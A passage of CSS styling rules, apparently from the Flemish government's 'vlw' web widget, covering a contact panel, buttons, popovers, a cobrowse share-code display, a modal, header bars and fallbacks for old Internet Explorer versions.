        display: flex;
      }

      .vlw .vlw__contact-panel__form-col--wide-content {
        margin-left: -7.5px;
        margin-right: -7.5px;
      }

      .vlw .vlw__contact-panel__form-col--1-2 {
        flex-basis: 50%;
        max-width: 50%;
        min-width: 50%;
      }

      .vlw .vlw__contact-panel__form-col--1-1,
      .vlw .vlw__contact-panel__form-col--2-2 {
        flex-basis: 100%;
        max-width: 100%;
        min-width: 100%;
      }

      .vlw .vlw__contact-panel__form-grid--is-stacked {
        margin-top: -7.5px;
      }

      .vlw .vlw__contact-panel__form-grid--is-stacked>* {
        margin-top: 7.5px;
      }

      .vlw .vlw__contact-panel__form-col--omega {
        margin-left: auto;
      }

      .vlw .vlw__contact-panel__heading {
        display: block;
        background: #fff;
        padding: 0 15px;
        flex: 0 0 auto;
      }

      .vlw .vlw__contact-panel__heading--absolute {
        position: absolute;
        top: 56px;
        left: 0;
        right: 0;
        z-index: 3;
      }

      .vlw .vlw__contact-panel__heading__main {
        display: flex;
        border-bottom: 1px #cbd2da solid;
        padding: 15px 0;
        align-items: center;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__contact-panel__heading__main {
          padding: 10px 0;
        }
      }

      .vlw .vlw__contact-panel__heading__main__back {
        display: flex;
        flex-direction: column;
        justify-content: center;
        max-height: 19px;
        border-right: 1px #cbd2da solid;
        margin-right: 15px;
        padding-right: 15px;
        fill: #333332;
      }

      .vlw .vlw__contact-panel__heading__main__back:hover,
      .vlw .vlw__contact-panel__heading__main__back:focus {
        fill: #0055CC;
        border-right: 1px #cbd2da solid;
      }

      .vlw .vlw__contact-panel__heading__main__back__icon {
        display: block;
        width: 14px;
        height: 14px;
        fill: inherit;
      }

      .vlw .vlw__contact-panel__heading__main__title {
        display: flex;
        width: 100%;
        font-size: 16px;
        color: #333332;
        font-weight: 500;
        line-height: 1.2;
      }

      .vlw .vlw__contact-panel__heading__main__title__text {
        display: block;
        width: 100%;
        max-width: 100%;
      }

      .vlw .vlw__contact-panel__heading__main__title__icon {
        flex: 0 0 21px;
        height: 19px;
      }

      .vlw .vlw__contact-panel__heading__main__title__badge {
        flex: 0 0 auto;
      }

      .vlw .vlw__contact-panel__heading__main__title__icon,
      .vlw .vlw__contact-panel__heading__main__title__badge {
        margin-right: 10px;
      }

      .vlw .vlw__contact-panel__icon-button {
        display: flex;
        position: relative;
        align-items: center;
        justify-content: center;
        background: #FFE615;
        color: #333;
        text-decoration: none;
        padding: 0;
        width: 45px;
        height: 45px;
        box-sizing: border-box;
        border-radius: 50%;
        appearance: none;
        border: 1px solid #d3d9e0;
        font-family: flanders-sans, sans-serif;
        font-size: 16px;
        cursor: pointer;
        transition: background 0.3s ease;
      }

      .vlw .vlw__contact-panel__icon-button__icon {
        height: 70%;
      }

      .vlw .vlw__contact-panel__icon-button svg {
        fill: #333;
      }

      .vlw .vlw__contact-panel__icon-button--light svg {
        fill: #fff;
      }

      .vlw .vlw__contact-panel__icon-button:hover,
      .vlw .vlw__contact-panel__icon-button:focus {
        background: #FFE507;
      }

      .vlw .vlw__contact-panel__icon-button__counter {
        display: block;
        position: absolute;
        top: -3px;
        right: -3px;
        padding-left: 2px;
        padding-right: 2px;
        min-width: 16px;
        height: 16px;
        line-height: 16px;
        border-radius: 16px;
        font-size: 12px;
        font-weight: bold;
        background: #0055CC;
        color: #fff;
      }

      .vlw .vlw__contact-panel__icon-button--outline {
        background: #fff;
        border: 2px solid #0055CC;
      }

      .vlw .vlw__contact-panel__icon-button--outline svg {
        fill: #0055CC;
      }

      .vlw .vlw__contact-panel__icon-button--outline:hover,
      .vlw .vlw__contact-panel__icon-button--outline:focus {
        background: #0055CC;
      }

      .vlw .vlw__contact-panel__icon-button--outline:hover svg,
      .vlw .vlw__contact-panel__icon-button--outline:focus svg {
        fill: #fff;
      }

      .vlw .vlw__contact-panel__icon-button--error {
        background: #db3434;
      }

      .vlw .vlw__contact-panel__icon-button--error svg {
        fill: #333332;
      }

      .vlw .vlw__contact-panel__icon-button--error:hover,
      .vlw .vlw__contact-panel__icon-button--error:focus {
        background: #af2929;
      }

      .vlw .vlw__contact-panel__icon-button--success {
        background: #8bae00;
      }

      .vlw .vlw__contact-panel__icon-button--success svg {
        fill: #fff;
      }

      .vlw .vlw__contact-panel__icon-button--success:hover,
      .vlw .vlw__contact-panel__icon-button--success:focus {
        background: #8bae00;
      }

      .vlw .vlw__contact-panel__icon-list__item {
        display: flex;
        align-items: center;
      }

      .vlw .vlw__contact-panel__icon-list__item__block {
        display: flex;
        text-decoration: none;
        padding: 15px 0;
        color: #333332;
        flex-grow: 1;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__icon {
        width: 28px;
        height: 28px;
        flex: 0 0 28px;
        margin-right: 15px;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__icon--success,
      .vlw .vlw__contact-panel__icon-list__item__block__icon--error {
        position: relative;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__icon--success::before,
      .vlw .vlw__contact-panel__icon-list__item__block__icon--error::before {
        content: "";
        position: absolute;
        bottom: -4px;
        right: -6px;
        width: 12px;
        height: 12px;
        border: 2px #fff solid;
        border-radius: 12px;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__icon--success::before {
        background: #8bae00;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__icon--error::before {
        background: #db3434;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__icon__svg {
        display: inline-block;
        width: 100%;
        height: 100%;
        fill: #333332;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__icon__img {
        display: inline-block;
        width: 118%;
        height: 118%;
        border: 1px #cbd2da solid;
        border-radius: 3rem;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__content {
        flex: 1;
        display: flex;
        justify-content: space-between;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__content__main {
        display: flex;
        flex-direction: column;
        justify-content: center;
        width: 100%;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__content__main__title {
        display: block;
        font-weight: 500;
        text-decoration: none;
        margin-bottom: 3px;
        line-height: 1.1;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__content__main__annotation {
        display: block;
        line-height: 1.1;
      }

      .vlw .vlw__contact-panel__icon-list__item__block__content__svg {
        flex: 0 0 12px;
        margin-left: 10px;
        width: 13px;
        height: 13px;
      }

      .vlw .vlw__contact-panel__icon-list__item__block[href],
      .vlw .vlw__contact-panel__icon-list__item__block--has-action {
        color: #0055CC;
      }

      .vlw .vlw__contact-panel__icon-list__item__block[href] .vlw__contact-panel__icon-list__item__block__icon__svg,
      .vlw .vlw__contact-panel__icon-list__item__block--has-action .vlw__contact-panel__icon-list__item__block__icon__svg {
        fill: #0055CC;
      }

      .vlw .vlw__contact-panel__icon-list__item__block[href] .vlw__contact-panel__icon-list__item__block__content__main__title,
      .vlw .vlw__contact-panel__icon-list__item__block--has-action .vlw__contact-panel__icon-list__item__block__content__main__title {
        text-decoration: underline;
      }

      .vlw .vlw__contact-panel__icon-list__item__block[href]:hover .vlw__contact-panel__icon-list__item__block__icon__svg,
      .vlw .vlw__contact-panel__icon-list__item__block--has-action:hover .vlw__contact-panel__icon-list__item__block__icon__svg {
        fill: #0051C2;
      }

      .vlw .vlw__contact-panel__icon-list__item__block[href]:hover .vlw__contact-panel__icon-list__item__block__content__main__title,
      .vlw .vlw__contact-panel__icon-list__item__block--has-action:hover .vlw__contact-panel__icon-list__item__block__content__main__title {
        text-decoration: none;
        color: #0051C2;
      }

      .vlw .vlw__contact-panel__icon-list__item__block[href]:focus .vlw__contact-panel__icon-list__item__block__icon__svg,
      .vlw .vlw__contact-panel__icon-list__item__block[href]:active .vlw__contact-panel__icon-list__item__block__icon__svg,
      .vlw .vlw__contact-panel__icon-list__item__block--has-action:focus .vlw__contact-panel__icon-list__item__block__icon__svg,
      .vlw .vlw__contact-panel__icon-list__item__block--has-action:active .vlw__contact-panel__icon-list__item__block__icon__svg {
        fill: #004CB8;
      }

      .vlw .vlw__contact-panel__icon-list__item__block[href]:focus .vlw__contact-panel__icon-list__item__block__content__main__title,
      .vlw .vlw__contact-panel__icon-list__item__block[href]:active .vlw__contact-panel__icon-list__item__block__content__main__title,
      .vlw .vlw__contact-panel__icon-list__item__block--has-action:focus .vlw__contact-panel__icon-list__item__block__content__main__title,
      .vlw .vlw__contact-panel__icon-list__item__block--has-action:active .vlw__contact-panel__icon-list__item__block__content__main__title {
        text-decoration: none;
        color: #004CB8;
      }

      .vlw .vlw__contact-panel__icon-list__item__block--disabled {
        color: #666;
      }

      .vlw .vlw__contact-panel__icon-list__item__block--disabled .vlw__contact-panel__icon-list__item__block__icon__svg {
        fill: #666;
      }

      .vlw .vlw__contact-panel__icon-list__item--divider {
        height: 1px;
        margin: 5px 0;
        background: #e8ebee;
      }

      .vlw .vlw__contact-panel__icon-list--bordered .vlw__contact-panel__icon-list__item:not(:last-of-type) {
        position: relative;
      }

      .vlw .vlw__contact-panel__icon-list--bordered .vlw__contact-panel__icon-list__item:not(:last-of-type)::before {
        content: "";
        position: absolute;
        left: 0;
        right: 0;
        bottom: 0;
        height: 1px;
        background: #e8ebee;
      }

      .vlw .vlw__contact-panel__link-list__item__action.vlw__link {
        padding: 15px 0;
      }

      .vlw .vlw__contact-panel__link-list--bordered .vlw__contact-panel__link-list__item:not(:last-of-type) {
        border-bottom: 1px #e8ebee solid;
      }

      .vlw .vlw__contact-panel__pill {
        display: inline-block;
        vertical-align: bottom;
        height: 26px;
        line-height: 26px;
        padding: 0 10px;
        border: 1px solid #cbd2da;
        border-radius: 6px;
        background-color: #e8ebee;
        text-decoration: none;
        transition: color 0.2s, background-color 0.2s;
      }

      .vlw .vlw__contact-panel__pill__close {
        display: inline-block;
        height: 24px;
        text-align: center;
        border-left: 1px solid #cbd2da;
        margin: 0 5px;
        text-decoration: none;
      }

      .vlw .vlw__contact-panel__pill__close__icon {
        height: 10px;
        margin-left: 5px;
      }

      .vlw .vlw__contact-panel__pill--closable {
        padding-right: 0;
      }

      .vlw .vlw__contact-panel__pill--clickable {
        color: #0055CC;
      }

      .vlw .vlw__contact-panel__pill--clickable:hover,
      .vlw .vlw__contact-panel__pill--clickable:focus {
        color: #0051C2;
        background-color: #f1f2f4;
      }

      .vlw .vlw__contact-panel__popover {
        display: inline-block;
        position: relative;
      }

      .vlw .vlw__contact-panel__popover .vlw__contact-panel__popover__toggle {
        text-decoration: none;
      }

      .vlw .vlw__contact-panel__popover__content {
        display: none;
        position: absolute;
        z-index: 3;
        left: 7.5px;
        top: -5px;
        transform: translate3d(0, -100%, 0);
        padding: 10px 20px;
        background-color: #fff;
        box-shadow: 0 0 30px 0 rgba(0, 0, 0, 0.3);
        width: 355px;
      }

      .vlw .vlw__contact-panel__popover__content::before {
        display: block;
        content: "";
        position: absolute;
        left: 11px;
        bottom: -7px;
        border: 9px solid transparent;
        border-top-color: #fff;
        border-bottom-width: 0;
      }

      .vlw .vlw__contact-panel__popover--open .vlw__contact-panel__popover__content {
        display: block;
      }

      .vlw .vlw__contact-panel__popover--bottom .vlw__contact-panel__popover__content {
        top: auto;
        bottom: -5px;
        transform: translate3d(0, 100%, 0);
      }

      .vlw .vlw__contact-panel__popover--bottom .vlw__contact-panel__popover__content::before {
        top: -7px;
        bottom: auto;
        border-top-color: transparent;
        border-bottom-color: #fff;
        border-bottom-width: 9px;
        border-top-width: 0;
      }

      .vlw .vlw__contact-panel__questions {
        flex: 0 0 auto;
      }

      .vlw .vlw__contact-panel__question {
        border-bottom: 1px #cbd2da solid;
      }

      .vlw .vlw__contact-panel__question__toggle {
        display: flex;
        align-items: center;
        padding: 15px;
        text-decoration: none;
        background: #e8ebee;
        font-weight: 500;
        font-size: 16px;
        line-height: 1;
        font-family: flanders-sans, sans-serif;
        border: none;
        width: 100%;
        cursor: pointer;
        margin: 0;
      }

      .vlw .vlw__contact-panel__question__toggle:hover,
      .vlw .vlw__contact-panel__question__toggle:focus {
        background: #f1f2f4;
        text-decoration: underline;
      }

      .vlw .vlw__contact-panel__question__toggle__icon {
        fill: #000;
        width: 12px;
        height: 12px;
        margin-right: 15px;
        transition: all 0.2s ease-in-out;
      }

      .vlw .vlw__contact-panel__question.vlw__contact-panel__js-accordion--open .vlw__contact-panel__question__toggle__icon {
        transform: rotate(90deg);
      }

      .vlw .vlw__contact-panel__social-icons__item {
        display: inline-block;
        margin-top: 8px;
        margin-left: 5px;
        margin-right: 5px;
      }

      .vlw .vlw__contact-panel__social-icons__item:first-of-type {
        margin-left: 0;
      }

      .vlw .vlw__contact-panel__social-icons__item__action {
        display: block;
        text-align: center;
        fill: #0055CC;
        line-height: 1;
        transition: fill 0.1s linear;
      }

      .vlw .vlw__contact-panel__social-icons__item__action:hover {
        fill: #0051C2;
      }

      .vlw .vlw__contact-panel__social-icons__item__action:focus,
      .vlw .vlw__contact-panel__social-icons__item__action:active {
        fill: #004CB8;
      }

      .vlw .vlw__contact-panel__social-icons__item__icon {
        width: 22px;
        height: 22px;
        fill: inherit;
      }

      .vlw .vlw__contact-panel__title {
        font-size: 18px;
        font-weight: 500;
        color: #333332;
        line-height: 1.1;
      }

      .vlw .vlw__contact-panel__title--serif {
        font-family: flanders-serif, serif;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__contact-panel__title {
          font-size: 16px;
        }
      }

      .vlw .vlw__contact-panel__subtitle {
        font-size: 16px;
        font-weight: 500;
        color: #333332;
        line-height: 1;
      }

      .vlw .vlw__contact-panel__subtitle--margin-bottom {
        margin-bottom: 10px;
      }

      .vlw .vlw__annotation {
        font-size: 14px;
        color: #333332;
        font-weight: 400;
      }

      .vlw .vlw__annotation--block {
        display: block;
        width: 100%;
      }

      .vlw .vlw__contact-panel__footer {
        padding-bottom: 15px;
      }

      .vlw .vlw__contact-panel .vlw__contact-panel__form-grid--loading:after {
        content: "";
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        background: rgba(255, 255, 255, 0.6);
        position: absolute;
      }

      .vlw .vlw__contact-panel .vlw__contact-panel__form-grid--loading .vlw__contact-panel__email__loader {
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        z-index: 1;
      }

      .vlw .vlw__contact__cobrowse__share-code {
        display: flex;
        flex-direction: column;
        gap: 5px;
      }

      .vlw .vlw__contact__cobrowse__share-code__container {
        display: flex;
        align-items: center;
        gap: 30px;
      }

      .vlw .vlw__contact__cobrowse__share-code__code {
        letter-spacing: 0.2em !important;
        font-size: 22px !important;
        font-weight: 500 !important;
      }

      .vlw .vlw__contact__cobrowse__share-code__buttons {
        display: flex;
        flex-direction: row;
        gap: 10px;
      }

      .vlw .vlw__contact__cobrowse__share-code__copy-button {
        display: flex;
        align-items: center;
        gap: 10px;
        border: none;
        background: none;
        fill: #0055cc;
      }

      .vlw .vlw__contact__cobrowse__share-code__copy-button__text {
        color: #0055cc !important;
      }

      .vlw .vlw__contact__cobrowse__share-code__letters {
        display: flex;
        gap: 5px;
      }

      .vlw .vlw__contact__cobrowse__share-code__letters__letter {
        font-size: 28px !important;
        font-weight: 500;
        background: #f7f9fc;
        border: 1px solid #cfd5dd;
        width: 40px;
        height: 46px;
        display: flex;
        justify-content: center;
        align-items: center;
      }

      .vlw .vlw__contact__cobrowse__session-controls {
        position: fixed;
        left: 50%;
        bottom: 32px;
        transform: translate(-50%, 0);
        display: flex;
        padding: 15px 41px;
        gap: 1em;
        z-index: 2147483647;
        align-items: center;
        cursor: move;
        white-space: nowrap;
        background: #ffffff;
        box-shadow: 0px 10px 50px rgba(106, 118, 134, 0.35);
      }

      .vlw .vlw__contact__cobrowse__session-controls__icon {
        width: 24px;
        height: 24px;
      }

      @media (max-width: 800px) {
        .vlw .vlw__contact__cobrowse__session-controls {
          flex-direction: column;
          width: 90%;
          white-space: inherit;
        }
      }

      .vlw .vlw__contact__cobrowse__share-button {
        display: inline-block;
        border: none;
        margin: 0;
        text-decoration: none;
        background-color: unset;
        padding: unset;
      }

      .vlw .vlw__contact__cobrowse__share-button svg {
        width: 16px;
        height: 16px;
        fill: #0055CC;
      }

      .vlw .vlw__contact__modal__backdrop {
        position: fixed;
        left: 0;
        right: 0;
        top: 0;
        bottom: 0;
        z-index: 10008;
        background-color: rgba(0, 0, 0, 0.5);
        opacity: 0.95;
        margin: 0;
      }

      .vlw .vlw__contact__modal__wrapper {
        z-index: 10011;
        padding: 3rem;
        overflow: auto;
        position: fixed;
        width: 600px;
        max-width: 95vw;
        max-height: 85vh;
        top: 50%;
        left: 50%;
        margin: 0;
        transform: translate(-50%, -50%);
        background-color: #fff;
        border: 0;
        box-shadow: 0 0 2.1rem 0 rgba(0, 0, 0, 0.3);
      }

      .vlw .vlw__contact__modal__close-button {
        align-items: center;
        justify-content: center;
        position: absolute;
        top: 6px;
        right: 6px;
        background: none;
        line-height: 1;
        overflow: hidden;
        color: #05c;
        fill: #05c;
        display: block;
        width: 16px;
        border: none;
        height: 16px;
        padding: 0;
        cursor: default;
        margin: 9.5px;
      }

      .vlw .vlw__contact__modal__close-button__icon {
        display: block;
        fill: inherit;
      }

      .vlw .vlw__contact__modal__close-button:focus {
        box-shadow: none;
        outline: 3px solid rgba(0, 85, 204, 0.65);
        outline-offset: 2px;
      }

      .vlw .vlw-location-availability {
        color: #779500;
      }

      .vlw .vlw-location-availability--closed {
        color: #db3434;
      }

      .vlw .vlw-contact-panel-animation-fade-enter-active,
      .vlw .vlw-contact-panel-animation-fade-leave-active {
        transition: opacity 0.2s, transform 0.4s;
      }

      .vlw .vlw-contact-panel-animation-fade-enter,
      .vlw .vlw-contact-panel-animation-fade-leave-to {
        opacity: 0;
        transform: translateY(-10px) translateZ(0);
      }

      .vlw .vlw-contact-panel__animation-wrapper {
        overflow-x: hidden;
        display: flex;
        flex-wrap: nowrap;
        justify-content: start;
        align-items: start;
        position: relative;
        height: 100%;
      }

      .vlw .vlw-contact-panel__animation-wrapper>.vlw__contact-panel__content {
        min-width: 100%;
        width: 100%;
        height: 100%;
        background: #fff;
        opacity: 1;
        position: absolute;
        top: 0;
        left: 0;
        transition: transform 0.3s ease-in-out, opacity 0.2s linear 0.1s;
        transform: translateX(0) translateZ(0);
        backface-visibility: hidden;
      }

      .vlw .vlw-contact-panel__animation-wrapper>.vlw__contact-panel__content.next-enter-active {
        box-shadow: -10px 0 10px rgba(0, 0, 0, 0.1);
        opacity: 0;
        transform: translateX(10%) translateZ(0);
      }

      .vlw .vlw-contact-panel__animation-wrapper>.vlw__contact-panel__content.next-enter-to {
        opacity: 1;
        transform: translateX(0%) translateZ(0);
      }

      .vlw .vlw-contact-panel__animation-wrapper>.vlw__contact-panel__content.next-leave-active {
        opacity: 1;
        transition: transform 0.3s ease-in-out;
        transform: translateX(0%) translateZ(0);
      }

      .vlw .vlw-contact-panel__animation-wrapper>.vlw__contact-panel__content.next-leave-to {
        opacity: 0;
        transition: transform 0.3s ease-in-out, opacity 0.3s linear;
        transform: translateX(-5%) translateZ(0);
      }

      .vlw .vlw-contact-panel__animation-wrapper>.vlw__contact-panel__content.prev-enter-active {
        z-index: 0;
        opacity: 0;
        transform: translateX(-5%) translateZ(0);
      }

      .vlw .vlw-contact-panel__animation-wrapper>.vlw__contact-panel__content.prev-enter-to {
        opacity: 1;
        transform: translateX(0%) translateZ(0);
      }

      .vlw .vlw-contact-panel__animation-wrapper>.vlw__contact-panel__content.prev-leave-active {
        z-index: 1;
        box-shadow: -10px 0 10px rgba(0, 0, 0, 0.1);
        opacity: 1;
        transform: translateX(0%) translateZ(0);
      }

      .vlw .vlw-contact-panel__animation-wrapper>.vlw__contact-panel__content.prev-leave-to {
        opacity: 0;
        transform: translateX(10%) translateZ(0);
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__primary-bar__plugins,
      [data-useragent*="MSIE 9.0"] .vlw .vlw__alert-bar,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__primary-bar__plugins,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__alert-bar {
        display: none !important;
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__primary-bar__brand,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__primary-bar__brand {
        display: block;
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__primary-bar__brand__umbrella,
      [data-useragent*="MSIE 9.0"] .vlw .vlw__primary-bar__brand__host,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__primary-bar__brand__umbrella,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__primary-bar__brand__host {
        display: inline-block;
        vertical-align: middle;
        height: auto;
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__primary-bar__brand__umbrella__logo,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__primary-bar__brand__umbrella__logo {
        height: 100%;
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__primary-bar__brand__umbrella__logo__icon,
      [data-useragent*="MSIE 9.0"] .vlw .vlw__primary-bar__brand__umbrella__logo__label,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__primary-bar__brand__umbrella__logo__icon,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__primary-bar__brand__umbrella__logo__label {
        display: inline-block;
        vertical-align: middle;
        line-height: 43px;
        height: 43px;
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__primary-bar__brand__umbrella__logo__icon,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__primary-bar__brand__umbrella__logo__icon {
        margin-right: 12px;
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__primary-bar__brand__umbrella__logo__label::before,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__primary-bar__brand__umbrella__logo__label::before {
        top: 11px;
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__alert-bar--browser,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__alert-bar--browser {
        display: block !important;
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__alert,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__alert {
        display: block;
        height: auto;
        text-align: center;
        padding-top: 5px;
        padding-bottom: 5px;
      }

      @media screen and (max-width: 1023px) {

        [data-useragent*="MSIE 9.0"] .vlw .vlw__alert,
        [data-useragent*="MSIE 10.0"] .vlw .vlw__alert {
          text-align: left;
        }
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__alert__badge,
      [data-useragent*="MSIE 9.0"] .vlw .vlw__alert__message,
      [data-useragent*="MSIE 9.0"] .vlw .vlw__alert__cta,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__alert__badge,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__alert__message,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__alert__cta {
        display: inline-block;
        vertical-align: middle;
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__alert__message,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__alert__message {
        max-width: calc(100vw - 180px);
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__primary-bar__zombies,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__primary-bar__zombies {
        display: block;
      }

      .vlw .vlw__header {
        position: fixed;
        z-index: 10004;
        top: 0;
        left: 0;
        right: 0;
        width: 100%;
      }

      .vlw .vlw__header--static {
        position: static !important;
      }

      .vlw .vlw__primary-bar {
        position: relative;
        z-index: 10004;
        display: flex;
        justify-content: space-between;
        flex-wrap: nowrap;
        width: 100%;
        height: 43px;
        background: #fff;
      }

      .vlw .vlw__primary-bar:not(:last-child)::before {
        content: "";
        position: absolute;
        z-index: 2;
        left: 0;
        right: 0;
        bottom: 0;
        height: 1px;
        background: #cbd2da;
      }

      .vlw .vlw__primary-bar:last-child {
        box-shadow: 0 1px 3px rgba(12, 13, 14, 0.1), 0 4px 20px rgba(12, 13, 14, 0.035), 0 1px 1px rgba(12, 13, 14, 0.025);
      }

      .vlw .vlw__primary-bar__brand {
        display: flex;
        flex: 1;
        align-items: center;
        height: 100%;
      }

      .vlw .vlw__primary-bar__brand__umbrella {
        display: flex;
        height: 100%;
        text-decoration: none;
        color: #333332;
      }

      .vlw .vlw__primary-bar__brand__umbrella[href]:hover,
      .vlw .vlw__primary-bar__brand__umbrella[href]:focus {
        color: #0055CC;
        text-decoration: underline;
      }

      .vlw .vlw__primary-bar__brand__umbrella--primary .vlw__primary-bar__brand__umbrella__logo__before {
        content: "";
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        width: 28px;
        height: 100%;
        background: #ffe615;
        transition: background 0.1s ease-in-out;
      }

      .vlw .vlw__primary-bar__brand__umbrella--primary .vlw__primary-bar__brand__umbrella__logo__after {
        content: "";
        position: absolute;
        top: 0;
        left: 28px;
        width: 0;
        height: 0;
        border-top: 43px solid transparent;
        border-bottom: 0 solid transparent;
        border-left: 13.5px solid #ffe615;
        transition: border-color 0.1s ease-in-out;
      }

      .vlw .vlw__primary-bar__brand__umbrella--primary:hover .vlw__primary-bar__brand__umbrella__logo::before,
      .vlw .vlw__primary-bar__brand__umbrella--primary:focus .vlw__primary-bar__brand__umbrella__logo::before {
        background: #fbe000;
      }

      .vlw .vlw__primary-bar__brand__umbrella--primary:hover .vlw__primary-bar__brand__umbrella__logo::after,
      .vlw .vlw__primary-bar__brand__umbrella--primary:focus .vlw__primary-bar__brand__umbrella__logo::after {
        border-left: 13.5px solid #fbe000;
      }

      .vlw .vlw__primary-bar__brand__umbrella--primary .vlw__primary-bar__brand__umbrella__logo__label::before {
        display: none;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__primary-bar__brand__umbrella--primary .vlw__primary-bar__brand__umbrella__logo__label {
          display: block;
          margin-right: 0;
          font-size: 16px;
        }
      }

      .vlw .vlw__primary-bar__brand__umbrella--secondary .vlw__primary-bar__brand__umbrella__logo {
        overflow: hidden;
      }

      .vlw .vlw__primary-bar__brand__umbrella--secondary .vlw__primary-bar__brand__umbrella__logo__after {
        content: "";
        position: absolute;
        top: -3px;
        left: 34px;
        width: 1px;
        height: 48px;
        transform: rotate(-18deg);
        -ms-transform: rotate(-18deg);
        background: #cbd2da;
      }

      .vlw .vlw__primary-bar__brand__umbrella--secondary:hover::before,
      .vlw .vlw__primary-bar__brand__umbrella--secondary:focus::before {
        content: "";
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        width: 28px;
        height: 100%;
        background: #ffe615;
      }

      .vlw .vlw__primary-bar__brand__umbrella--secondary:hover::after,
      .vlw .vlw__primary-bar__brand__umbrella--secondary:focus::after {
        content: "";
        position: absolute;
        top: 0;
        left: 28px;
        width: 0;
        height: 0;
        background: none;
        transform: none;
        -ms-transform: none;
        border-top: 43px solid transparent;
        border-bottom: 0 solid transparent;
        border-left: 13.5px solid #ffe615;
      }

      .vlw .vlw__primary-bar__brand__umbrella__logo {
        position: relative;
        display: flex;
        align-items: center;
        padding-left: 2px;
      }

      .vlw .vlw__primary-bar__brand__umbrella__logo__icon,
      .vlw .vlw__primary-bar__brand__umbrella__logo__label {
        position: relative;
        z-index: 2;
        text-decoration: none;
        font-weight: 500;
        color: inherit;
      }

      .vlw .vlw__primary-bar__brand__umbrella__logo__icon {
        width: 31px;
        height: 31px;
        margin-right: 17px;
        fill: #333332;
      }

      .vlw .vlw__primary-bar__brand__umbrella__logo__label {
        top: -1px;
        font-size: 18px;
        line-height: 1;
        margin-right: 20px;
      }

      .vlw .vlw__primary-bar__brand__umbrella__logo__label__after {
        content: "";
        position: absolute;
        right: 5px;
        height: 24px;
        width: 1px;
        background: #cbd2da;
        transform: rotate(-18deg);
        -ms-transform: rotate(-18deg);
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__primary-bar__brand__umbrella__logo__label__after {
          display: none;
        }
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__primary-bar__brand__umbrella__logo__label {
          display: none;
        }
      }

      .vlw .vlw__primary-bar__brand__host {
        display: flex;
        align-items: center;
        justify-content: center;
        height: 100%;
        position: relative;
        font-size: 14px;
        font-weight: 500;
        color: #333332;
        padding-left: 10px;
        padding-right: 10px;
        text-transform: uppercase;
        text-decoration: none;
        line-height: 14px;
      }

      .vlw .vlw__primary-bar__brand__host:hover,
      .vlw .vlw__primary-bar__brand__host:focus {
        color: #0055CC;
        text-decoration: underline;
      }

      .vlw .vlw__primary-bar__brand__host:first-child {
        margin-left: 0;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__primary-bar__brand__host {
          margin-left: 0;
          font-size: 13px;
          line-height: 12px;
        }

        .vlw .vlw__primary-bar__brand__host:not(:first-child) {
          padding-left: 0;
          padding-right: 0;
        }
      }

      .vlw .vlw__primary-bar__brand__host__img {
        max-height: 100%;
        max-width: 130px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__primary-bar__brand__host__img {
          max-width: 90px;
        }
      }

      .vlw .vlw__primary-bar__plugins {
        display: flex;
        height: 100%;
        margin-left: 15px;
      }

      .vlw .vlw__primary-bar__plugins:only-child,
      .vlw .vlw__primary-bar__plugins:first-child {
        margin-left: auto;
      }

      .vlw .vlw__primary-bar__plugins__item:not(:last-of-type) {
        margin-right: 15px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__primary-bar__plugins__item:not(:last-of-type) {
          margin-right: 10px;
        }
      }

      .vlw .vlw__primary-bar__progress {
        position: absolute;
        z-index: 3;
        bottom: 0;
        left: 0;
        max-width: 100%;
        height: 3px;
        background: #FFE615;
      }

      .vlw .vlw__secondary-bar {
        position: relative;
        z-index: 10001;
        display: flex;
        justify-content: space-between;
        flex-wrap: nowrap;
        width: 100%;
        align-items: center;
        min-height: 43px;
        background: #e8ebee;
        transition: all 0.2s linear;
        transform: translateZ(0);
        transform-origin: top center;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__secondary-bar {
